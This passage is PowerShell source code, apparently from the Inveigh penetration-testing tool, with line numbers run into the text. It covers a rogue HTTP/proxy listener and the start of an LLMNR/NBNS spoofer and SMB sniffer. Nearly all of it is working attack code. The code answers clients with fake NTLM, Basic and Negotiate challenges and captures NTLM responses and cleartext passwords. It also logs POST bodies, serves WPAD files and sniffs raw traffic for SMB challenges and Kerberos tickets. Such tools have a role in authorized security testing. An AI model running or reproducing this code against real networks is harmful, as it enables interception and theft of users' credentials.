= $null 3745 $NTLM = "NTLM" 3746 3747 if(!$HTTP_client.Connected -and $inveigh.running) 3748 { 3749 $HTTP_client_close = $false 3750 $HTTP_async = $HTTP_listener.BeginAcceptTcpClient($null,$null) 3751 3752 do 3753 { 3754 3755 if(!$inveigh.running) 3756 { 3757 break HTTP_listener_loop 3758 } 3759 3760 Start-Sleep -m 10 3761 } 3762 until($HTTP_async.IsCompleted) 3763 3764 $HTTP_client = $HTTP_listener.EndAcceptTcpClient($HTTP_async) 3765 $HTTP_client_handle_old = $HTTP_client.Client.Handle 3766 3767 if($HTTPS_listener) 3768 { 3769 $HTTP_clear_stream = $HTTP_client.GetStream() 3770 $HTTP_stream = New-Object System.Net.Security.SslStream($HTTP_clear_stream,$false) 3771 $SSL_cert = (Get-ChildItem Cert:\LocalMachine\My | Where-Object {$_.Subject -match $inveigh.certificate_CN}) 3772 $HTTP_stream.AuthenticateAsServer($SSL_cert,$false,[System.Security.Authentication.SslProtocols]::Default,$false) 3773 } 3774 else 3775 { 3776 $HTTP_stream = $HTTP_client.GetStream() 3777 } 3778 3779 } 3780 3781 if($HTTPS_listener) 3782 { 3783 [Byte[]]$SSL_request_bytes = $null 3784 3785 while($HTTP_clear_stream.DataAvailable) 3786 { 3787 $HTTP_request_byte_count = $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) 3788 $SSL_request_bytes += $TCP_request_bytes[0..($HTTP_request_byte_count - 1)] 3789 } 3790 3791 $TCP_request = [System.BitConverter]::ToString($SSL_request_bytes) 3792 } 3793 else 3794 { 3795 3796 while($HTTP_stream.DataAvailable) 3797 { 3798 $HTTP_stream.Read($TCP_request_bytes,0,$TCP_request_bytes.Length) > $null 3799 } 3800 3801 $TCP_request = [System.BitConverter]::ToString($TCP_request_bytes) 3802 } 3803 3804 if($TCP_request -like "47-45-54-20*" -or $TCP_request -like "48-45-41-44-20*" -or $TCP_request -like "4f-50-54-49-4f-4e-53-20*" -or $TCP_request -like "43-4f-4e-4e-45-43-54*" -or $TCP_request -like "50-4f-53-54*") 3805 { 3806 $HTTP_raw_URL = $TCP_request.Substring($TCP_request.IndexOf("-20-") + 4,$TCP_request.Substring($TCP_request.IndexOf("-20-") + 1).IndexOf("-20-") - 3) 3807 $HTTP_raw_URL = $HTTP_raw_URL.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3808 $HTTP_request_raw_URL = New-Object System.String ($HTTP_raw_URL,0,$HTTP_raw_URL.Length) 3809 $HTTP_source_IP = $HTTP_client.Client.RemoteEndpoint.Address.IPAddressToString 3810 $HTTP_source_Port = $HTTP_client.Client.RemoteEndpoint.Port 3811 $HTTP_connection_header_close = $true 3812 3813 if(($TCP_request).StartsWith("47-45-54-20")) 3814 { 3815 $HTTP_method = "GET" 3816 } 3817 elseif(($TCP_request).StartsWith("48-45-41-44-20")) 3818 { 3819 $HTTP_method = "HEAD" 3820 } 3821 elseif(($TCP_request).StartsWith("4f-50-54-49-4F-4E-53-20")) 3822 { 3823 $HTTP_method = "OPTIONS" 3824 } 3825 elseif(($TCP_request).StartsWith("43-4F-4E-4E-45-43-54")) 3826 { 3827 $HTTP_method = "CONNECT" 3828 } 3829 elseif(($TCP_request).StartsWith("50-4F-53-54-20")) 3830 { 3831 $HTTP_method = "POST" 3832 } 3833 3834 if($NBNSBruteForcePause) 3835 { 3836 $inveigh.NBNS_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 3837 $inveigh.hostname_spoof = $true 3838 } 3839 3840 if($TCP_request -like "*-48-6F-73-74-3A-20-*") 3841 { 3842 $HTTP_header_host_extract = $TCP_request.Substring($TCP_request.IndexOf("-48-6F-73-74-3A-20-") + 19) 3843 $HTTP_header_host_extract = $HTTP_header_host_extract.Substring(0,$HTTP_header_host_extract.IndexOf("-0D-0A-")) 3844 $HTTP_header_host_extract = $HTTP_header_host_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3845 $HTTP_header_host = New-Object System.String ($HTTP_header_host_extract,0,$HTTP_header_host_extract.Length) 3846 } 3847 3848 if($TCP_request -like "*-55-73-65-72-2D-41-67-65-6E-74-3A-20-*") 3849 { 3850 $HTTP_header_user_agent_extract = $TCP_request.Substring($TCP_request.IndexOf("-55-73-65-72-2D-41-67-65-6E-74-3A-20-") + 37) 3851 $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Substring(0,$HTTP_header_user_agent_extract.IndexOf("-0D-0A-")) 3852 $HTTP_header_user_agent_extract = $HTTP_header_user_agent_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3853 $HTTP_header_user_agent = New-Object System.String ($HTTP_header_user_agent_extract,0,$HTTP_header_user_agent_extract.Length) 3854 } 3855 3856 if($HTTP_request_raw_URL_old -ne $HTTP_request_raw_URL -or $HTTP_client_handle_old -ne $HTTP_client.Client.Handle) 3857 { 3858 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) $HTTP_method request for $HTTP_request_raw_URL received from $HTTP_source_IP`:$HTTP_source_port") > $null 3859 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) host header $HTTP_header_host received from $HTTP_source_IP`:$HTTP_source_port") > $null 3860 3861 if($HTTP_header_user_agent) 3862 { 3863 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) user agent received from $HTTP_source_IP`:$HTTP_source_port`:`n$HTTP_header_user_agent") > $null 3864 } 3865 3866 if($Proxy -eq 'Y' -and $ProxyIgnore.Count -gt 0 -and ($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_})) 3867 { 3868 $inveigh.output_queue.Add("[*] [$(Get-Date -format s)] $HTTP_type($HTTPPort) ignoring wpad.dat request due to user agent match from $HTTP_source_IP`:$HTTP_source_port") > $null 3869 } 3870 3871 } 3872 3873 if($TCP_request -like "*-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-*") 3874 { 3875 $HTTP_header_authorization_extract = $TCP_request.Substring($TCP_request.IndexOf("-41-75-74-68-6F-72-69-7A-61-74-69-6F-6E-3A-20-") + 46) 3876 $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Substring(0,$HTTP_header_authorization_extract.IndexOf("-0D-0A-")) 3877 $HTTP_header_authorization_extract = $HTTP_header_authorization_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3878 $HTTP_header_authorization = New-Object System.String ($HTTP_header_authorization_extract,0,$HTTP_header_authorization_extract.Length) 3879 } 3880 3881 if(($HTTP_request_raw_URL -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( 3882 $HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -like 'NTLM*' -and $WPADAuthIgnore.Count -gt 0 -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) 3883 { 3884 $HTTP_response_status_code = 0x32,0x30,0x30 3885 $HTTP_response_phrase = 0x4f,0x4b 3886 $HTTP_client_close = $true 3887 } 3888 else 3889 { 3890 3891 if(($HTTP_request_raw_url -match '/wpad.dat' -and $WPADAuth -eq 'NTLM') -or ($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'NTLM')) 3892 { 3893 $HTTPNTLMESS = $true 3894 } 3895 else 3896 { 3897 $HTTPNTLMESS = $false 3898 } 3899 3900 if($proxy_listener) 3901 { 3902 $HTTP_response_status_code = 0x34,0x30,0x37 3903 $HTTP_header_authenticate = 0x50,0x72,0x6f,0x78,0x79,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 3904 } 3905 else 3906 { 3907 $HTTP_response_status_code = 0x34,0x30,0x31 3908 $HTTP_header_authenticate = 0x57,0x57,0x57,0x2d,0x41,0x75,0x74,0x68,0x65,0x6e,0x74,0x69,0x63,0x61,0x74,0x65,0x3a,0x20 3909 } 3910 3911 $HTTP_response_phrase = 0x55,0x6e,0x61,0x75,0x74,0x68,0x6f,0x72,0x69,0x7a,0x65,0x64 3912 } 3913 3914 if($TCP_request -like "50-4f-53-54*") 3915 { 3916 $HTTP_POST_request_extract = $TCP_request.Substring($TCP_request.IndexOf("-0D-0A-0D-0A-") + 12) 3917 $HTTP_POST_request_extract = $HTTP_POST_request_extract.Substring(0,$HTTP_POST_request_extract.IndexOf("-00-")) 3918 $HTTP_POST_request_extract = $HTTP_POST_request_extract.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 3919 $HTTP_POST_request = New-Object System.String ($HTTP_POST_request_extract,0,$HTTP_POST_request_extract.Length) 3920 3921 if($HTTP_POST_request_old -ne $HTTP_POST_request) 3922 { 3923 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) POST request $HTTP_POST_request captured from $HTTP_source_IP`:$HTTP_source_port") > $null 3924 $inveigh.POST_request_file_queue.Add($HTTP_POST_request) > $null 3925 $inveigh.POST_request_list.Add($HTTP_POST_request) > $null 3926 } 3927 3928 $HTTP_POST_request_old = $HTTP_POST_request 3929 } 3930 3931 if($HTTP_header_authorization.StartsWith('NTLM ')) 3932 { 3933 $HTTP_header_authorization = $HTTP_header_authorization -replace 'NTLM ','' 3934 [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) 3935 $HTTP_connection_header_close = $false 3936 3937 if([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '01-00-00-00') 3938 { 3939 $NTLM = Get-NTLMChallengeBase64 $Challenge $HTTPNTLMESS $HTTP_source_IP $HTTP_client.Client.RemoteEndpoint.Port 3940 } 3941 elseif([System.BitConverter]::ToString($HTTP_request_bytes[8..11]) -eq '03-00-00-00') 3942 { 3943 Get-NTLMResponse $HTTP_request_bytes "Y" $HTTP_source_IP $HTTP_source_port $HTTPPort $HTTP_type 3944 $HTTP_response_status_code = 0x32,0x30,0x30 3945 $HTTP_response_phrase = 0x4f,0x4b 3946 $HTTP_client_close = $true 3947 $NTLM_challenge = $null 3948 3949 if($proxy_listener) 3950 { 3951 3952 if($HTTPResponse -or $HTTPDirectory) 3953 { 3954 $HTTP_header_cache_control = 0x43,0x61,0x63,0x68,0x65,0x2d,0x43,0x6f,0x6e,0x74,0x72,0x6f,0x6c,0x3a,0x20,0x6e,0x6f,0x2d,0x63,0x61,0x63,0x68,0x65,0x2c,0x20,0x6e,0x6f,0x2d,0x73,0x74,0x6f,0x72,0x65 3955 } 3956 else 3957 { 3958 $HTTP_send = $false 3959 } 3960 3961 } 3962 3963 } 3964 else 3965 { 3966 $HTTP_client_close = $true 3967 } 3968 3969 } 3970 elseif($HTTP_header_authorization.StartsWith('Negotiate ')) 3971 { 3972 $HTTP_response_status_code = 0x32,0x30,0x30 3973 $HTTP_response_phrase = 0x4f,0x4b 3974 $HTTP_client_close = $true 3975 $HTTP_header_authorization = $HTTP_header_authorization -replace 'Negotiate ','' 3976 [Byte[]]$HTTP_request_bytes = [System.Convert]::FromBase64String($HTTP_header_authorization) 3977 $HTTP_request_converted = [System.BitConverter]::ToString($HTTP_request_bytes) 3978 $HTTP_request_converted = $HTTP_request_converted -replace "-","" 3979 $HTTP_index = $HTTP_request_converted.IndexOf("2A864886F7120102020100") 3980 3981 if($HTTP_index -gt 0) 3982 { 3983 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) authentication method is Kerberos for $HTTP_source_IP`:$HTTP_source_port") > $null 3984 3985 if($Kerberos -eq 'Y') 3986 { 3987 $HTTP_connection_header_close = $false 3988 New-KerberosKirbi $HTTP_request_bytes $kerberos_base_key $HTTP_type $HTTPPort "$HTTP_source_IP`:$HTTP_source_port" 3989 } 3990 3991 } 3992 3993 } 3994 elseif($HTTP_header_authorization.Startswith('Basic ')) 3995 { 3996 $HTTP_response_status_code = 0x32,0x30,0x30 3997 $HTTP_response_phrase = 0x4f,0x4b 3998 $HTTP_header_authorization = $HTTP_header_authorization -replace 'Basic ','' 3999 $cleartext_credentials = [System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($HTTP_header_authorization)) 4000 $HTTP_client_close = $true 4001 $inveigh.cleartext_file_queue.Add($cleartext_credentials) > $null 4002 $inveigh.cleartext_list.Add($cleartext_credentials) > $null 4003 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] $HTTP_type($HTTPPort) Basic authentication cleartext credentials captured from $HTTP_source_IP`:$HTTP_source_port`:") > $null 4004 $inveigh.output_queue.Add($cleartext_credentials) > $null 4005 4006 if($inveigh.file_output) 4007 { 4008 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $HTTP_type($HTTPPort) Basic authentication cleartext credentials written to " + "Inveigh-Cleartext.txt") > $null 4009 } 4010 4011 } 4012 4013 if(($HTTP_request_raw_url -notmatch '/wpad.dat' -and $HTTPAuth -eq 'Anonymous') -or ($HTTP_request_raw_URL -match '/wpad.dat' -and $WPADAuth -eq 'Anonymous') -or ( 4014 $WPADAuthIgnore.Count -gt 0 -and $WPADAuth -like 'NTLM*' -and ($WPADAuthIgnore | Where-Object {$HTTP_header_user_agent -match $_})) -or $HTTP_client_close) 4015 { 4016 4017 if($HTTPDirectory -and $HTTPDefaultEXE -and $HTTP_request_raw_url -like '*.exe' -and (Test-Path (Join-Path $HTTPDirectory $HTTPDefaultEXE)) -and !(Test-Path (Join-Path $HTTPDirectory $HTTP_request_raw_url))) 4018 { 4019 [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTPDefaultEXE)) 4020 $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/exe") 4021 } 4022 elseif($HTTPDirectory) 4023 { 4024 4025 if($HTTPDefaultFile -and !(Test-Path (Join-Path $HTTPDirectory $HTTP_request_raw_url)) -and (Test-Path (Join-Path $HTTPDirectory $HTTPDefaultFile)) -and $HTTP_request_raw_url -notmatch '/wpad.dat') 4026 { 4027 [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTPDefaultFile)) 4028 } 4029 elseif(($HTTPDefaultFile -and $HTTP_request_raw_url -eq '' -or $HTTPDefaultFile -and $HTTP_request_raw_url -eq '/') -and (Test-Path (Join-Path $HTTPDirectory $HTTPDefaultFile))) 4030 { 4031 [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTPDefaultFile)) 4032 } 4033 elseif($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat') 4034 { 4035 [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($WPADResponse) 4036 $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") 4037 } 4038 else 4039 { 4040 4041 if(Test-Path (Join-Path $HTTPDirectory $HTTP_request_raw_url)) 4042 { 4043 [Byte[]]$HTTP_message_bytes = [System.IO.File]::ReadAllBytes((Join-Path $HTTPDirectory $HTTP_request_raw_url)) 4044 } 4045 else 4046 { 4047 [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTPResponse) 4048 } 4049 4050 } 4051 4052 } 4053 else 4054 { 4055 4056 if($WPADResponse -and $HTTP_request_raw_url -match '/wpad.dat' -and (!$ProxyIgnore -or !($ProxyIgnore | Where-Object {$HTTP_header_user_agent -match $_}))) 4057 { 4058 $HTTP_message = $WPADResponse 4059 $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: application/x-ns-proxy-autoconfig") 4060 } 4061 elseif($HTTPResponse) 4062 { 4063 $HTTP_message = $HTTPResponse 4064 4065 if($HTTPContentType) 4066 { 4067 $HTTP_header_content_type = [System.Text.Encoding]::UTF8.GetBytes("Content-Type: $HTTPContentType") 4068 } 4069 4070 } 4071 4072 [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) 4073 } 4074 4075 } 4076 else 4077 { 4078 [Byte[]]$HTTP_message_bytes = [System.Text.Encoding]::UTF8.GetBytes($HTTP_message) 4079 } 4080 4081 $HTTP_timestamp = Get-Date -format r 4082 $HTTP_timestamp = [System.Text.Encoding]::UTF8.GetBytes($HTTP_timestamp) 4083 4084 if(($HTTPAuth -like 'NTLM*' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -like 'NTLM*' -and $HTTP_request_raw_URL -match '/wpad.dat') -and !$HTTP_client_close) 4085 { 4086 4087 if($Kerberos -eq 'Y' -and ($KerberosHostHeader.Count -gt 0 -and $KerberosHostHeader -contains $HTTP_header_host)) 4088 { 4089 $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Negotiate") 4090 } 4091 else 4092 { 4093 $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes($NTLM) 4094 } 4095 4096 } 4097 elseif(($HTTPAuth -eq 'Basic' -and $HTTP_request_raw_URL -notmatch '/wpad.dat') -or ($WPADAuth -eq 'Basic' -and $HTTP_request_raw_URL -match '/wpad.dat')) 4098 { 4099 $HTTP_header_authenticate_data = [System.Text.Encoding]::UTF8.GetBytes("Basic realm=$HTTPBasicRealm") 4100 } 4101 4102 $packet_HTTPResponse = New-Object System.Collections.Specialized.OrderedDictionary 4103 $packet_HTTPResponse.Add("HTTPResponse_ResponseVersion",[Byte[]](0x48,0x54,0x54,0x50,0x2f,0x31,0x2e,0x31,0x20)) 4104 $packet_HTTPResponse.Add("HTTPResponse_StatusCode",$HTTP_response_status_code + [Byte[]](0x20)) 4105 $packet_HTTPResponse.Add("HTTPResponse_ResponsePhrase",$HTTP_response_phrase + [Byte[]](0x0d,0x0a)) 4106 4107 if($HTTP_connection_header_close) 4108 { 4109 $HTTP_connection_header = [System.Text.Encoding]::UTF8.GetBytes("Connection: close") 4110 $packet_HTTPResponse.Add("HTTPResponse_Connection",$HTTP_connection_header + [Byte[]](0x0d,0x0a)) 4111 } 4112 4113 $packet_HTTPResponse.Add("HTTPResponse_Server",[System.Text.Encoding]::UTF8.GetBytes("Server: Microsoft-HTTPAPI/2.0") + [Byte[]](0x0d,0x0a)) 4114 $packet_HTTPResponse.Add("HTTPResponse_TimeStamp",[Byte[]](0x44,0x61,0x74,0x65,0x3a,0x20) + $HTTP_timestamp + [Byte[]](0x0d,0x0a)) 4115 $packet_HTTPResponse.Add("HTTPResponse_ContentLength",[System.Text.Encoding]::UTF8.GetBytes("Content-Length: $($HTTP_message_bytes.Length)") + [Byte[]](0x0d,0x0a)) 4116 4117 if($HTTP_header_authenticate -and $HTTP_header_authenticate_data) 4118 { 4119 $packet_HTTPResponse.Add("HTTPResponse_AuthenticateHeader",$HTTP_header_authenticate + $HTTP_header_authenticate_data + [Byte[]](0x0d,0x0a)) 4120 } 4121 4122 if($HTTP_header_content_type) 4123 { 4124 $packet_HTTPResponse.Add("HTTPResponse_ContentType",$HTTP_header_content_type + [Byte[]](0x0d,0x0a)) 4125 } 4126 4127 if($HTTP_header_cache_control) 4128 { 4129 $packet_HTTPResponse.Add("HTTPResponse_CacheControl",$HTTP_header_cache_control + [Byte[]](0x0d,0x0a)) 4130 } 4131 4132 if($HTTP_send) 4133 { 4134 $packet_HTTPResponse.Add("HTTPResponse_Message",[Byte[]](0x0d,0x0a) + $HTTP_message_bytes) 4135 $HTTP_response = ConvertFrom-PacketOrderedDictionary $packet_HTTPResponse 4136 $HTTP_stream.Write($HTTP_response,0,$HTTP_response.Length) 4137 $HTTP_stream.Flush() 4138 } 4139 4140 Start-Sleep -m 10 4141 $HTTP_request_raw_URL_old = $HTTP_request_raw_URL 4142 4143 if($HTTP_client_close) 4144 { 4145 4146 if($proxy_listener) 4147 { 4148 $HTTP_client.Client.Close() 4149 } 4150 else 4151 { 4152 $HTTP_client.Close() 4153 } 4154 4155 } 4156 4157 } 4158 else 4159 { 4160 4161 if($HTTP_client_handle_old -eq $HTTP_client.Client.Handle) 4162 { 4163 $HTTP_reset++ 4164 } 4165 else 4166 { 4167 $HTTP_reset = 0 4168 } 4169 4170 if($HTTP_connection_header_close -or $HTTP_reset -gt 20) 4171 { 4172 4173 $HTTP_client.Close() 4174 $HTTP_reset = 0 4175 } 4176 else 4177 { 4178 Start-Sleep -m 100 4179 } 4180 4181 } 4182 4183 } 4184 4185 $HTTP_client.Close() 4186 $HTTP_listener.Stop() 4187 } 4188 4189 # Sniffer/Spoofer ScriptBlock - LLMNR/NBNS Spoofer and SMB sniffer 4190 $sniffer_scriptblock = 4191 { 4192 param ($DNS,$DNSTTL,$EvadeRG,$Inspect,$IP,$Kerberos,$KerberosCount,$KerberosCredential,$KerberosHash,$LLMNR, 4193 $LLMNRTTL,$mDNS,$mDNSTypes,$mDNSTTL,$NBNS,$NBNSTTL,$NBNSTypes,$output_directory,$Pcap, 4194 $PcapTCP,$PcapUDP,$SMB,$SpooferHostsIgnore,$SpooferHostsReply,$SpooferIP, 4195 $SpooferIPsIgnore,$SpooferIPsReply,$SpooferLearning,$SpooferLearningDelay,$SpooferLearningInterval, 4196 $SpooferNonprintable,$SpooferThresholdHost,$SpooferThresholdNetwork) 4197 4198 $sniffer_running = $true 4199 $byte_in = New-Object System.Byte[] 4 4200 $byte_out = New-Object System.Byte[] 4 4201 $byte_data = New-Object System.Byte[] 65534 4202 $byte_in[0] = 1 4203 $byte_in[1-3] = 0 4204 $byte_out[0] = 1 4205 $byte_out[1-3] = 0 4206 $sniffer_socket = New-Object System.Net.Sockets.Socket([Net.Sockets.AddressFamily]::InterNetwork,[Net.Sockets.SocketType]::Raw,[Net.Sockets.ProtocolType]::IP) 4207 $sniffer_socket.SetSocketOption("IP","HeaderIncluded",$true) 4208 $sniffer_socket.ReceiveBufferSize = 65534 4209 4210 if($Kerberos -eq 'Y') 4211 { 4212 4213 if($KerberosHash) 4214 { 4215 $kerberos_base_key = (&{for ($i = 0;$i -lt $KerberosHash.Length;$i += 2){$KerberosHash.SubString($i,2)}}) -join "-" 4216 $kerberos_base_key = $kerberos_base_key.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} 4217 } 4218 elseif($KerberosCredential) 4219 { 4220 $kerberos_base_key = Get-KerberosAES256BaseKey ($KerberosCredential.UserName).Trim("\") $KerberosCredential.Password 4221 } 4222 4223 } 4224 4225 try 4226 { 4227 $end_point = New-Object System.Net.IPEndpoint([System.Net.IPAddress]"$IP",0) 4228 } 4229 catch 4230 { 4231 $inveigh.output_queue.Add("[-] [$(Get-Date -format s)] Error starting sniffer/spoofer") > $null 4232 $error_message = $_.Exception.Message 4233 $error_message = $error_message -replace "`n","" 4234 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 4235 $sniffer_running = $false 4236 } 4237 4238 $sniffer_socket.Bind($end_point) 4239 $sniffer_socket.IOControl([System.Net.Sockets.IOControlCode]::ReceiveAll,$byte_in,$byte_out) 4240 $DNS_TTL_bytes = [System.BitConverter]::GetBytes($DNSTTL) 4241 [Array]::Reverse($DNS_TTL_bytes) 4242 $LLMNR_TTL_bytes = [System.BitConverter]::GetBytes($LLMNRTTL) 4243 [Array]::Reverse($LLMNR_TTL_bytes) 4244 $mDNS_TTL_bytes = [System.BitConverter]::GetBytes($mDNSTTL) 4245 [Array]::Reverse($mDNS_TTL_bytes) 4246 $NBNS_TTL_bytes = [System.BitConverter]::GetBytes($NBNSTTL) 4247 [Array]::Reverse($NBNS_TTL_bytes) 4248 $LLMNR_learning_log = New-Object System.Collections.Generic.List[string] 4249 $NBNS_learning_log = New-Object System.Collections.Generic.List[string] 4250 4251 if($SpooferLearningDelay) 4252 { 4253 $spoofer_learning_delay = New-TimeSpan -Minutes $SpooferLearningDelay 4254 $spoofer_learning_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() 4255 } 4256 4257 [Byte[]]$pcap_header = 0xd4,0xc3,0xb2,0xa1,0x02,0x00,0x04,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xff + 4258 0xff,0x00,0x00,0x01,0x00,0x00,0x00 4259 4260 if($Pcap -eq 'File') 4261 { 4262 $pcap_path = $output_directory + "\Inveigh-Packets.pcap" 4263 $pcap_file_check = [System.IO.File]::Exists($pcap_path) 4264 4265 try 4266 { 4267 $pcap_file = New-Object System.IO.FileStream $pcap_path,'Append','Write','Read' 4268 4269 if(!$pcap_file_check) 4270 { 4271 $pcap_file.Write($pcap_header,0,$pcap_header.Count) 4272 } 4273 4274 } 4275 catch 4276 { 4277 $error_message = $_.Exception.Message 4278 $error_message = $error_message -replace "`n","" 4279 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] $error_message $($_.InvocationInfo.Line.Trim())") > $null 4280 $inveigh.output_queue.Add("[!] [$(Get-Date -format s)] Disabling pcap output") > $null 4281 $Pcap = '' 4282 } 4283 4284 } 4285 elseif($Pcap -eq 'Memory' -and !$inveigh.pcap) 4286 { 4287 $inveigh.pcap = New-Object System.Collections.ArrayList 4288 $inveigh.pcap.AddRange($pcap_header) 4289 } 4290 4291 while($inveigh.running -and $sniffer_running) 4292 { 4293 $packet_length = $sniffer_socket.Receive($byte_data,0,$byte_data.Length,[System.Net.Sockets.SocketFlags]::None) 4294 $memory_stream = New-Object System.IO.MemoryStream($byte_data,0,$packet_length) 4295 $binary_reader = New-Object System.IO.BinaryReader($memory_stream) 4296 $version_HL = $binary_reader.ReadByte() 4297 $binary_reader.ReadByte() > $null 4298 $total_length = Convert-DataToUInt16 $binary_reader.ReadBytes(2) 4299 $binary_reader.ReadBytes(5) > $null 4300 $protocol_number = $binary_reader.ReadByte() 4301 $binary_reader.ReadBytes(2) > $null 4302 $source_IP_bytes = $binary_reader.ReadBytes(4) 4303 $source_IP = [System.Net.IPAddress]$source_IP_bytes 4304 $destination_IP_bytes = $binary_reader.ReadBytes(4) 4305 $destination_IP = [System.Net.IPAddress]$destination_IP_bytes 4306 $header_length = [Int]"0x$(('{0:X}' -f $version_HL)[1])" * 4 4307 4308 switch($protocol_number) 4309 { 4310 4311 6 4312 { # TCP 4313 $source_port = Convert-DataToUInt16 $binary_reader.ReadBytes(2) 4314 $destination_port = Convert-DataToUInt16 $binary_reader.ReadBytes(2) 4315 $binary_reader.ReadBytes(8) > $null 4316 $TCP_header_length = [Int]"0x$(('{0:X}' -f $binary_reader.ReadByte())[0])" * 4 4317 $TCP_flags = $binary_reader.ReadByte() 4318 $binary_reader.ReadBytes($TCP_header_length - 14) > $null 4319 $payload_bytes = $binary_reader.ReadBytes($packet_length) 4320 $TCP_flags = ([convert]::ToString($TCP_flags,2)).PadLeft(8,"0") 4321 4322 if($TCP_flags.SubString(6,1) -eq "1" -and $TCP_flags.SubString(3,1) -eq "0" -and $destination_IP -eq $IP) 4323 { 4324 $TCP_session = "$source_IP`:$source_port" 4325 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] TCP($destination_port) SYN packet detected from $TCP_Session") > $null 4326 } 4327 4328 switch ($destination_port) 4329 { 4330 4331 139 4332 { 4333 4334 if($payload_bytes) 4335 { 4336 Get-SMBConnection $payload_bytes $IP $source_IP $destination_IP $source_port "139" 4337 } 4338 4339 if($inveigh.SMB_session_table.ContainsKey("$source_IP`:$source_port")) 4340 { 4341 Get-NTLMResponse $payload_bytes $SMB $source_IP $source_port 139 "SMB" 4342 } 4343 4344 } 4345 4346 445 4347 { 4348 4349 if($kerberos_data.Count -lt $kerberos_length -and "$source_IP`:$source_port" -eq $kerberos_source) 4350 { 4351 $kerberos_data += $payload_bytes 4352 4353 if($kerberos_data.Count -ge $kerberos_length) 4354 { 4355 New-KerberosKirbi $kerberos_data $kerberos_base_key "SMB" 445 "$source_IP`:$source_port" 4356 $kerberos_length = $null 4357 $kerberos_data = $null 4358 $kerberos_source = $null 4359 } 4360 4361 } 4362 4363 if($payload_bytes) 4364 { 4365 $kerberos_connection = Get-SMBConnection $payload_bytes $IP $source_IP $destination_IP $source_port "445" 4366 $kerberos_length = $kerberos_connection[0] 4367 $kerberos_data = $kerberos_connection[1] 4368 $kerberos_source = "$source_IP`:$source_port" 4369 } 4370 4371 if($inveigh.SMB_session_table.ContainsKey("$source_IP`:$source_port")) 4372 { 4373 Get-NTLMResponse $payload_bytes $SMB $source_IP $source_port 445 "SMB" 4374 } 4375 4376 } 4377 4378 } 4379 4380 # Outgoing packets 4381 switch ($source_port) 4382 { 4383 4384 139 4385 { 4386 4387 if($payload_bytes) 4388 { 4389 $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes 4390 } 4391 4392 if($NTLM_challenge -and $destination_IP -ne $source_IP) 4393 { 4394 4395 if($source_IP -eq $IP) 4396 { 4397 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(139) NTLM challenge $NTLM_challenge sent to $destination_IP`:$destination_port") > $null 4398 } 4399 else 4400 { 4401 $inveigh.output_queue.Add("[+] [$(Get-Date -format s)] SMB(139) NTLM challenge $NTLM_challenge received from $destination_IP`:$destination_port") > $null 4402 } 4403 4404 $inveigh.SMB_session_table."$destination_IP`:$destination_port" = $NTLM_challenge 4405 $NTLM_challenge = $null 4406 } 4407 4408 } 4409 4410 445 4411 { 4412 4413 if($payload_bytes) 4414 { 4415 $NTLM_challenge = Get-SMBNTLMChallenge $payload_bytes 4416 } 4417 4418 if($NTLM_challenge -and $destination_IP -ne $source_IP) 4419 { 4420 4421 if($source_IP -eq $IP) 4422 { 4423 $inveigh.output_queue.Add("[+] [$(Get-Date 